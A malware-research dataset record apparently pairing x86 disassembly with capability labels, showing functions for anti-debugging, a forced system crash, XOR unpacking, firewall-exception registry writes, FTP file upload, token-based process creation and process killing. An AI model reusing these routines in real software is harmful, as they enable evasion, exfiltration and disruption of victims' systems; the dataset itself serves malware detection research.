joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40f350
Capabilities:
Get user security identifier
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc44
mov eax, dword [0x441070]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x10]
push ebx
push esi
mov esi, dword [ebp + 8]
xor ebx, ebx
push edi
mov edi, dword [ebp + 0xc]
push 0x410
mov dword [ebp - 0xc40], eax
lea eax, [ebp - 0x414]
push ebx
push eax
mov dword [ebp - 0xc3c], ebx
mov dword [ebp - 0xc38], ebx
call fcn.00412cb0
push esi
push edi
push str._s_s
lea eax, [ebp - 0x414]
push 0x208
push eax
call fcn.00409210
lea eax, [ebp - 0x414]
push eax
push str.Resolve__:_szAccountName___s_n
lea eax, [ebp - 0xc34]
push 0x410
push eax
call fcn.00409210
add esp, 0x30
lea eax, [ebp - 0xc44]
push eax
lea eax, [ebp - 0xc38]
push eax
push ebx
lea eax, [ebp - 0xc3c]
push eax
push ebx
lea eax, [ebp - 0x414]
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_LookupAccountNameW]
mov eax, dword [ebp - 0xc3c]
mov edi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
test eax, eax
je 0x40f412
push eax
push 8
call esi
push eax
call edi
mov ebx, eax
mov ecx, dword [ebp - 0xc38]
test ecx, ecx
je 0x40f42a
add ecx, ecx
push ecx
push 8
call esi
push eax
call edi
mov edi, eax
jmp 0x40f42c
xor edi, edi
test ebx, ebx
je 0x40f4ba
lea eax, [ebp - 0xc44]
push eax
lea eax, [ebp - 0xc38]
push eax
push edi
lea eax, [ebp - 0xc3c]
push eax
push ebx
lea eax, [ebp - 0x414]
push eax
push 0
call dword [sym.imp.ADVAPI32.dll_LookupAccountNameW]
test eax, eax
je 0x40f47c
push dword [ebp - 0xc40]
push ebx
call sub.ADVAPI32.dll_ConvertSidToStringSidW
test eax, eax
jne 0x40f4aa
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.GetSidFromEnumSess__:_ConvertSidToStringSid___err___d_n
jmp 0x40f488
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.UserByExplorer__:_LookupAccountNameW___err___d_n
lea eax, [ebp - 0xc34]
push 0x410
push eax
call fcn.00409210
add esp, 0x10
lea eax, [ebp - 0xc34]
push eax
mov eax, dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
call eax
push ebx
push 0
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_HeapFree]
push eax
call ebx
jmp 0x40f4c0
mov ebx, dword [sym.imp.KERNEL32.dll_HeapFree]
test edi, edi
je 0x40f4cc
push edi
push 0
call esi
push eax
call ebx
mov ebx, dword [ebp - 0xc40]
lea eax, [ebp - 0xc34]
push dword [ebx]
push str.Resolve__:_lpszSid___s_n
push 0x410
push eax
call fcn.00409210
add esp, 0x10
lea eax, [ebp - 0xc34]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov ecx, dword [ebp - 4]
xor eax, eax
cmp dword [ebx], eax
pop edi
setne al
xor ecx, ebp
pop esi
pop ebx
call fcn.00410abf
mov esp, ebp
pop ebp
ret

Function at 0x415eef
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
push esi
push 0x433b74
push 0x433b6c
push str.FlsAlloc
push 0
call fcn.00415e68
mov esi, eax
add esp, 0x10
test esi, esi
je 0x415f21
push dword [ebp + 8]
mov ecx, esi
call fcn.00411065
call esi
pop esi
pop ebp
ret
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsAlloc]
Function at 0x415f63
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
push esi
push 0x433b84
push 0x433b7c
push str.FlsGetValue
push 2
call fcn.00415e68
add esp, 0x10
mov esi, eax
push dword [ebp + 8]
test esi, esi
je 0x415f94
mov ecx, esi
call fcn.00411065
call esi
jmp 0x415f9a
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
pop esi
pop ebp
ret

Function at 0x415f9d
Capabilities:
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push esi
push 0x433b8c
push 0x433b84
push str.FlsSetValue
push 3
call fcn.00415e68
add esp, 0x10
mov esi, eax
push dword [ebp + 0xc]
push dword [ebp + 8]
test esi, esi
je 0x415fd1
mov ecx, esi
call fcn.00411065
call esi
jmp 0x415fd7
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
pop esi
pop ebp
ret
Function at 0x42e004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..text
mov ebx, 0x407ef8
nop
nop
mov ecx, 0x35252
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x42e04e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x42e024
nop
nop
nop
mov eax, section..data
mov ebx, 0x42cd70
nop
mov ecx, 0x5860ca7
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x42e084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x42e06c
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x401bd0
Capabilities:
Check for debugger via api
Check for peb beingdebugged flag
Check for process debug object
Check processdebugport

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x411967
mov eax, dword fs:[0]
push eax
sub esp, 0x20
mov eax, dword [0x41b014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword fs:[0x30]
mov esi, 1
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x18], 0
mov al, byte [eax + 2]
mov byte [ebp - 0x25], al
mov eax, dword fs:[0x30]
mov ecx, dword fs:[0x30]
cmp dword [eax], 0x10000
sete al
cmp dword [ecx + 0x1a0], 0xfffffed0
movzx ebx, al
cmove ebx, esi
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
test eax, eax
lea eax, [ebp - 0x18]
movzx ebx, bl
push eax
cmovne ebx, esi
call edi
push eax
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
cmp dword [ebp - 0x18], 0
lea eax, [ebp - 0x20]
push 0
push 4
push eax
movzx ebx, bl
push 7
cmovne ebx, esi
call edi
mov esi, dword [sym.imp.ntdll.dll_NtQueryInformationProcess]
push eax
call esi
push 0
push 4
lea eax, [ebp - 0x24]
push eax
push 0x1e
call edi
push eax
call esi
cmp dword [ebp - 0x20], 0
jne 0x401ca6
cmp dword [ebp - 0x24], 0
jne 0x401ca6
xor al, al
jmp 0x401ca8
mov al, 1
cmp byte [ebp - 0x25], 0
jne 0x401cb7
cmp bl, 1
je 0x401cb7
cmp al, 1
jne 0x401d19
cmp dword [0x41ba6c], 0
jne 0x401cf2
push 0x600
call fcn.00410a36
mov esi, eax
mov dword [ebp - 0x2c], esi
push 0x600
push 0
push esi
mov dword [ebp - 4], 0
call sub.VCRUNTIME140.dll_memset
add esp, 0x10
mov ecx, esi
call fcn.00401d40
mov dword [0x41ba6c], eax
lea eax, [ebp - 0x11]
push eax
push 0
push 1
push 0x13
call dword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
lea eax, [ebp - 0x1c]
push eax
push 6
push 0
push 0
push 0
push 0xc00002b4
call dword [sym.imp.ntdll.dll_NtRaiseHardError]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00410a23
mov esp, ebp
pop ebp
ret 0xc
Function at 0x402250
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x411aa5
mov eax, dword fs:[0]
push eax
sub esp, 0x30
push ebx
push esi
push edi
mov eax, dword [0x41b014]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
lea eax, [ebp + 8]
mov dword [ebp - 4], 1
push eax
lea ecx, [ebp - 0x24]
call fcn.0040e880
mov byte [ebp - 4], 2
lea esi, [ebp - 0x24]
cmp dword [ebp - 0x10], 0x10
push 0x4e20
cmovae esi, dword [ebp - 0x24]
call fcn.00410dda
push 0x2710
push esi
push eax
mov dword [ebx + 0x180], eax
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs]
mov edi, dword [ebx + 0x180]
add esp, 0x10
mov byte [ebp - 4], 1
mov edx, dword [ebp - 0x10]
cmp edx, 0x10
jb 0x4022fc
mov ecx, dword [ebp - 0x24]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4022f2
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4022f2
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.00410dcc
add esp, 8
lea eax, [ebp + 0x20]
mov dword [ebp - 0x14], 0
push eax
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x10], 0xf
mov byte [ebp - 0x24], 0
call fcn.0040e880
mov byte [ebp - 4], 3
lea esi, [ebp - 0x3c]
cmp dword [ebp - 0x28], 0x10
push 0x4e20
cmovae esi, dword [ebp - 0x3c]
call fcn.00410dda
push 0x2710
push esi
push eax
mov dword [ebx + 0x180], eax
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs]
mov edx, dword [ebp - 0x28]
add esp, 0x10
mov esi, dword [ebx + 0x180]
cmp edx, 0x10
jb 0x402385
mov ecx, dword [ebp - 0x3c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40237b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40237b
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.00410dcc
add esp, 8
cmp dword [ebp + 0x38], 2
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0xf
mov byte [ebp - 0x3c], 0
jne 0x4023a1
push 0
jmp 0x4023a3
push 5
push 0
push esi
push edi
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push edi
call fcn.00410a31
push esi
call fcn.00410a31
mov edx, dword [ebp + 0x1c]
add esp, 8
cmp edx, 0x10
jb 0x4023f3
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4023e9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40242b
push edx
push ecx
call fcn.00410dcc
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x40243b
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x402431
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x402431
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.00410dcc
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x34
Function at 0x4027a0
Capabilities:
Persist via windows service
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x411b45
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x41b014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 1
mov eax, 0x7fffffff
mov ecx, dword [ebp + 0x18]
sub eax, ecx
cmp eax, 0x1f
jb 0x402931
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push 0x1f
cmovae eax, dword [ebp + 8]
push str.::Enabled:_xpsp2res.dll__22019
push ecx
push eax
push ecx
push dword [ebp - 0x30]
lea ecx, [ebp - 0x28]
call fcn.0040ffb0
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x30]
push eax
push 0
push 0x20006
push 0
push 0
push 0
push str.SYSTEMControlSet001ServicesSharedAccessParametersFirewallPolicyStandardProfileAuthorizedApplicationsList
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push dword [ebp - 0x18]
cmp dword [ebp - 0x14], 0x10
lea ecx, [ebp - 0x28]
lea eax, [ebp + 0x20]
cmovae ecx, dword [ebp - 0x28]
cmp dword [ebp + 0x34], 0x10
push ecx
cmovae eax, dword [ebp + 0x20]
push 1
push 0
push eax
push dword [ebp - 0x30]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x30]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [ebp - 0x14]
cmp edx, 0x10
jb 0x40288c
mov ecx, dword [ebp - 0x28]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x402882
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402906
push edx
push ecx
call fcn.00410dcc
add esp, 8
mov edx, dword [ebp + 0x1c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
cmp edx, 0x10
jb 0x4028ce
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4028c4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402906
push edx
push ecx
call fcn.00410dcc
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x402916
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40290c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40290c
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.00410dcc
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00410a23
mov esp, ebp
pop ebp
ret 0x30
call fcn.00401460
int3
Function at 0x402940
Capabilities:
Connect to http server
Create http request
Send file using ftp

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x338
mov eax, dword [0x41b014]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x41ba8c], 1
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x334], eax
mov eax, dword [ebp + 0x14]
push ebx
mov ebx, dword [ebp + 0xc]
mov dword [ebp - 0x338], eax
mov eax, dword [ebp + 0x18]
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x308], eax
jne 0x402993
pop edi
mov al, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00410a23
mov esp, ebp
pop ebp
ret 0x18
push esi
push 0
push 0
push 0
push 1
push 0
mov dword [0x41ba8c], 1
call dword [sym.imp.WININET.dll_InternetOpenW]
mov esi, eax
push 0
test esi, esi
jne 0x4029c3
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov al, 1
jmp 0x402ac2
push 0
push 1
push dword [ebp - 0x334]
push ebx
push 0x15
push edi
push esi
call dword [sym.imp.WININET.dll_InternetConnectA]
mov edi, eax
test edi, edi
jne 0x4029f1
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push edi
call esi
mov al, 1
jmp 0x402ac2
push 0x2af
push dword [ebp - 0x308]
lea eax, [ebp - 0x304]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
push 0
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov dword [ebp - 0x30c], eax
lea eax, [ebp - 0x30c]
push eax
mov dword [ebp - 0x308], edx
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64]
add esp, 0x14
cmp byte [ebp + 0x1c], 1
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x330], xmm0
movups xmm0, xmmword [eax + 0x10]
movups xmmword [ebp - 0x320], xmm0
mov eax, dword [eax + 0x20]
mov dword [ebp - 0x310], eax
lea eax, [ebp - 0x330]
push eax
lea eax, [ebp - 0x54]
jne 0x402a62
push str._Y__m__d._X.jpg
jmp 0x402a67
push str._Y__m__d._X.txt
push 0x50
push eax
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_strftime]
add esp, 0x10
lea eax, [ebp - 0x54]
push 0x2af
push eax
lea eax, [ebp - 0x304]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncat]
add esp, 0xc
lea eax, [ebp - 0x304]
push 0x8000000
push 2
push eax
push dword [ebp - 0x338]
push edi
call dword [sym.imp.WININET.dll_FtpPutFileA]
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
test eax, eax
jne 0x402abb
call esi
push edi
call esi
mov al, 1
jmp 0x402ac2
call esi
push edi
call esi
xor al, al
mov ecx, dword [ebp - 4]
pop esi
pop edi
xor ecx, ebp
mov dword [0x41ba8c], 0
pop ebx
call fcn.00410a23
mov esp, ebp
pop ebp
ret 0x18
Function at 0x402ae0
Capabilities:
Acquire debug privileges
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x41b014]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], edi
mov dword [edi + 0x1cc], 0
mov dword [edi + 0x1d0], 0
mov dword [edi + 0x1d4], 0
mov dword [edi + 0x1e8], 0
mov byte [edi + 0x230], 0
call dword [sym.imp.KERNEL32.dll_WTSGetActiveConsoleSessionId]
mov ecx, eax
lea eax, [edi + 0x1bc]
push eax
push ecx
mov dword [ebp - 0x18], ecx
call dword [sym.imp.WTSAPI32.dll_WTSQueryUserToken]
test eax, eax
push 0
setne cl
mov byte [edi + 0x230], cl
mov dword [edi + 0x1f0], 0
mov dword [edi + 0x1f4], 0
mov dword [edi + 0x1f8], 0
mov dword [edi + 0x1fc], 0
mov dword [edi + 0x200], 0
mov dword [edi + 0x204], 0
mov dword [edi + 0x208], 0
mov dword [edi + 0x20c], 0
mov dword [edi + 0x210], 0
mov dword [edi + 0x214], 0
mov dword [edi + 0x218], 0
push 0
mov dword [edi + 0x21c], 0
push 0xffffffffffffffff
mov dword [edi + 0x220], 0
mov dword [edi + 0x224], 0
push str.winsta0default
mov dword [edi + 0x228], 0
push 0
mov dword [edi + 0x22c], 0
mov ebx, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
mov dword [edi + 0x1ec], 0x44
call ebx
xor ecx, ecx
mov esi, eax
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00410dda
add esp, 4
mov dword [edi + 0x64], eax
push esi
push eax
push 0xffffffffffffffff
push str.winsta0default
push 0
push 0
call ebx
mov esi, dword [ebp - 0x10]
lea eax, [ebp - 0xc]
mov edi, dword [edi + 0x64]
push eax
push str.SeDebugPrivilege
push 0
mov dword [esi + 0x1f4], edi
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
lea ebx, [esi + 0x1c8]
push ebx
push 1
push 1
push 0
push 0x2000000
push dword [esi + 0x1bc]
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
push 4
push dword [ebp - 0x18]
push 0xc
push dword [ebx]
call dword [sym.imp.ADVAPI32.dll_SetTokenInformation]
push 0
push 0
push 0xffffffffffffffff
push dword [ebp - 0x14]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xor ecx, ecx
mov esi, eax
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00410dda
mov ecx, dword [ebp - 0x10]
add esp, 4
push esi
push eax
push 0xffffffffffffffff
push dword [ebp - 0x14]
mov dword [ecx + 0x64], eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov ecx, dword [ebp - 0x10]
mov esi, dword [ecx + 0x64]
lea eax, [ecx + 0x1d8]
push eax
lea eax, [ecx + 0x1ec]
push eax
push 0
push 0
push 0x30
push 0
push 0
push 0
push esi
push 0
push dword [ebx]
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
mov ecx, dword [ebp - 0x10]
test eax, eax
push edi
setne al
mov byte [ecx + 0x168], al
call fcn.00410a31
push esi
call fcn.00410a31
mov edi, dword [ebp - 0x10]
add esp, 8
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [edi + 0x1c0]
call esi
push dword [ebx]
call esi
push dword [edi + 0x1c4]
call esi
mov al, byte [edi + 0x168]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00410a23
mov esp, ebp
pop ebp
ret 8
Function at 0x402d50
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x411b7d
mov eax, dword fs:[0]
push eax
sub esp, 0x18
push esi
push edi
mov eax, dword [0x41b014]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov esi, dword [ebp + 8]
push 0
push esi
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__access]
add esp, 8
cmp eax, 0xffffffff
je 0x402e5d
mov ecx, esi
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0xf
mov byte [ebp - 0x24], 0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402db0
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x24]
call fcn.0040f0c0
mov dword [ebp - 4], 0
lea esi, [ebp - 0x24]
cmp dword [ebp - 0x10], 0x10
push 0x4e20
cmovae esi, dword [ebp - 0x24]
call fcn.00410dda
push 0x2710
push esi
push eax
mov dword [edi + 0x180], eax
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs]
mov edx, dword [ebp - 0x10]
add esp, 0x10
mov esi, dword [edi + 0x180]
cmp edx, 0x10
jb 0x402e31
mov ecx, dword [ebp - 0x24]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x402e27
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x402e27
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.00410dcc
add esp, 8
push esi
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0xf
mov byte [ebp - 0x24], 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov dword [edi + 0x15c], eax
push esi
test al, 0x10
jne 0x402e72
call fcn.00410a31
add esp, 4
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
call fcn.00410a31
add esp, 4
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x403b80
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x411c6d
mov eax, dword fs:[0]
push eax
sub esp, 0x34
push ebx
push esi
push edi
mov eax, dword [0x41b014]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x14], ebx
push 0
push 2
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x10], eax
cmp edi, 0xffffffff
je 0x403d22
lea esi, [ebx + 4]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
mov eax, dword [sym.imp.KERNEL32.dll_Process32NextW]
push esi
push edi
mov dword [ebp - 0x28], eax
call eax
test eax, eax
je 0x403d1f
mov eax, dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x1c], eax
mov eax, dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov dword [ebp - 0x20], eax
sub esp, 0x18
mov byte [ebx + 0x23d], 0
lea eax, [ebp + 8]
mov ecx, esp
lea edi, [ebx + 0x28]
push eax
call fcn.0040e880
lea eax, [ebp - 0x40]
push eax
call fcn.00403e20
mov ecx, edi
lea esi, [ecx + 2]
nop dword [eax]
mov dx, word [ecx]
add ecx, 2
test dx, dx
jne 0x403c30
sub ecx, esi
mov ebx, eax
sar ecx, 1
cmp dword [eax + 0x14], 8
jb 0x403c49
mov ebx, dword [eax]
mov esi, dword [eax + 0x10]
cmp ecx, esi
mov edx, esi
mov dword [ebp - 0x18], esi
cmovb edx, ecx
mov eax, edi
test edx, edx
je 0x403c77
sub ebx, edi
nop
movzx esi, word [ebx + eax]
movzx edi, word [eax]
cmp si, di
jne 0x403c80
add eax, 2
sub edx, 1
jne 0x403c60
mov esi, dword [ebp - 0x18]
cmp ecx, esi
jbe 0x403c88
or esi, 0xffffffff
jmp 0x403c8c
sbb esi, esi
and esi, 0xfffffffe
inc esi
jmp 0x403c8c
sbb esi, esi
neg esi
mov edx, dword [ebp - 0x2c]
cmp edx, 8
jb 0x403cc6
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x403cbc
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403d4b
push edx
push ecx
call fcn.00410dcc
add esp, 8
mov ebx, dword [ebp - 0x14]
test esi, esi
jne 0x403d0c
cmp byte [ebx], 1
jne 0x403d05
push dword [ebx + 0xc]
push 1
push 0x100001
call dword [ebp - 0x1c]
mov esi, eax
push 0
push esi
call dword [ebp - 0x20]
push esi
mov edi, eax
call dword [ebp - 0x10]
test edi, edi
setne cl
test edi, edi
mov byte [ebx + 0x23c], cl
setne al
mov byte [ebx + 0x23d], al
jmp 0x403d0c
mov byte [ebx + 0x23d], 1
mov edi, dword [ebp - 0x24]
lea eax, [ebx + 4]
push eax
push edi
call dword [ebp - 0x28]
test eax, eax
jne 0x403c03
mov eax, dword [ebp - 0x10]
push edi
call eax
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x403d5b
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x403d51
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x403d51
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.00410dcc
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x18
Function at 0x403d70
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x234
mov eax, dword [0x41b014]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
push edi
push 0x228
mov dword [ebp - 0x234], eax
xor esi, esi
lea eax, [ebp - 0x22c]
mov dword [ebp - 0x230], 0x22c
push esi
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push esi
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
lea eax, [ebp - 0x230]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x403dfd
push ebx
mov ebx, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
push dword [ebp - 0x234]
lea eax, [ebp - 0x20c]
push eax
call ebx
add esp, 8
test eax, eax
jne 0x403dea
inc esi
lea eax, [ebp - 0x230]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x403dd3
pop ebx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
xor ecx, ebp
pop esi
call fcn.00410a23
mov esp, ebp
pop ebp
ret 4